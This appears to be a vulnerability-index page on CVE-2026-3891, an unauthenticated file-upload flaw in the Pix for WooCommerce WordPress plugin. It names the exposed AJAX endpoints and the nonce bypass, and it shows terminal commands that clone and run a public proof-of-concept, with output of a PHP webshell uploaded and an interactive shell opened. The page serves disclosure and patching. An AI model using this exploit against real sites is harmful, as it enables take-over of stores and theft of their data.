Skip to content
HackIndex logo

HackIndex

CVE-2026-3891:
Pix for WooCommerce Unauthenticated File Upload

Published: Mar 13, 2026
Critical
Unrestricted File Upload

CVE-2026-3891 is an unauthenticated arbitrary file upload vulnerability in the Pix for WooCommerce WordPress plugin. The plugin exposes an AJAX endpoint (lkn_pix_for_woocommerce_c6_save_settings) that accepts certificate file uploads without any authentication. A nonce can be obtained unauthenticated via a second exposed endpoint (lkn_pix_for_woocommerce_generate_nonce), allowing a fully unauthenticated attacker to upload arbitrary files — including PHP webshells — directly to the web root.

Affected versions: payment-gateway-pix-for-woocommerce <= 1.5.0

joshuavanderpoll/CVE-2026-3891
Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload PoC
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2026-3891
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install -r requirements.txt
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2026-3891.py --url http://localhost:8080 
   _____   _____   ___ __ ___  __    ____ ___ ___  _ 
  / __\ \ / / __|_|_  )  \_  )/ / __|__ /( _ ) _ \/ |
 | (__ \ V /| _|___/ / () / // _ \___|_ \/ _ \_, /| |
  \___| \_/ |___| /___\__/___\___/  |___/\___//_/ |_|

  https://github.com/joshuavanderpoll/CVE-2026-3891

  [*] Target  : http://localhost:8080
  [*] Timeout : 10s

  [@] Fetching nonce ...
  [+] Nonce       : 4529a50f21

  [@] Uploading shell.php ...
  [+] Shell uploaded!
  [+] Remote path : wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
  [+] Shell URL   : http://localhost:8080/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php

  [@] Verifying shell is accessible ...
  [+] Shell is accessible! HTTP 200

  [*] Dropping into interactive shell. Type exit to quit.

  shell> ls
  [@] Running: ls

  ────────────────────────────────────────────────────────────
  shell.php
  ────────────────────────────────────────────────────────────
  
  shell>